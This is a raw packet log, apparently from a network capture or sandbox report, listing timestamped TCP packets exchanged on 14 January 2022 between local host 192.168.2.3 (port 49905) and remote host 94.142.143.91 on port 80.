Jan 14, 2022 05:00:00.742233992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742275953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742281914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742316961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742356062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742369890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742398024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742436886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742444038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742477894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742516994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742526054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742556095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742598057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742634058 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742635012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742729902 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742763996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742804050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742842913 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742881060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742883921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742921114 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742928982 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.742960930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.742997885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743011951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743036985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743076086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743083000 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743113041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743151903 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743165970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743190050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743228912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743237019 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743268967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743305922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743319035 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743345022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743382931 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743402004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743423939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743463039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743474960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743501902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743541002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743549109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743581057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743617058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743630886 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743657112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743695974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743704081 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743732929 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743772030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743778944 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743813992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743854046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743859053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743892908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743930101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.743943930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.743968964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744009018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744019032 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744045973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744083881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744096994 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744122028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744163990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744174004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744203091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744240046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744251966 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744278908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744317055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744350910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744354010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744393110 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744400978 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744431973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744469881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744508028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744543076 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744580030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744581938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744590998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744620085 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744636059 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744657040 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744694948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744702101 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744733095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744774103 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744810104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744812012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744849920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744860888 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744891882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744930029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.744937897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.744967937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745006084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745014906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745043993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745081902 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745095968 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745121002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745157957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745172024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745197058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745234966 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745270967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745295048 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745307922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745309114 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745346069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745383978 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745399952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745425940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745477915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745516062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745556116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745570898 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745579958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745594978 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745631933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745640993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745671034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745707035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745722055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745747089 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745784998 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745799065 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745824099 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745873928 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.745896101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745934963 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.745970964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.746001959 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.746011019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.746102095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.750263929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.753510952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753537893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753566980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753583908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.753592968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753619909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753637075 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.753647089 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753696918 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.753808022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753835917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753884077 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753885031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.753911018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753937960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753957987 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.753964901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.753992081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754013062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754018068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754046917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754072905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754085064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754100084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754117966 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754127026 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754153013 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754179955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754180908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754208088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754235029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754237890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754262924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754280090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754288912 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754316092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754338980 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754340887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754367113 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754384041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754393101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754420996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754439116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754579067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754605055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754626989 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754631996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754659891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754678011 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754687071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754712105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754734993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754898071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754923105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754936934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.754949093 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754976034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.754991055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755001068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755027056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755043983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755053043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755094051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755135059 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755161047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755187988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755214930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755218029 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755240917 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755266905 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755268097 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755290985 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755325079 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755542994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755569935 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755588055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755597115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755610943 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755625010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755640030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755650997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755675077 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755676985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755687952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755703926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755727053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755739927 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755755901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755781889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755800009 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755809069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755821943 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755836964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755860090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755861044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755872965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755889893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755911112 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755928993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.755943060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755970001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.755985022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.756016970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.767034054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.767122030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.768126011 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803020954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803095102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803141117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803169012 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803183079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803200960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803208113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803222895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803231955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803266048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803283930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803308964 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803325891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803347111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803360939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803389072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803397894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803432941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803447008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803472996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803491116 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803514004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803529024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803556919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803571939 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803597927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803607941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803639889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803662062 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803678989 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803694010 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803719997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803736925 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803760052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803781033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803800106 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803817034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803839922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803854942 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803880930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803894997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803922892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803940058 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.803965092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.803975105 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804004908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804023027 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804048061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804061890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804090023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804104090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804128885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804143906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804169893 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804179907 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804209948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804223061 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804249048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804265022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804290056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804303885 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804327965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804346085 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804367065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804383993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804406881 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804425001 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804446936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804462910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804487944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804502010 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804527044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804541111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804568052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804577112 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804609060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804625034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804646969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804661989 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804687023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804708004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804728031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804742098 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804765940 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804780006 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804805994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804821968 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804846048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804861069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804886103 CET	80	49905	94.142.143.91	192.168.2.3
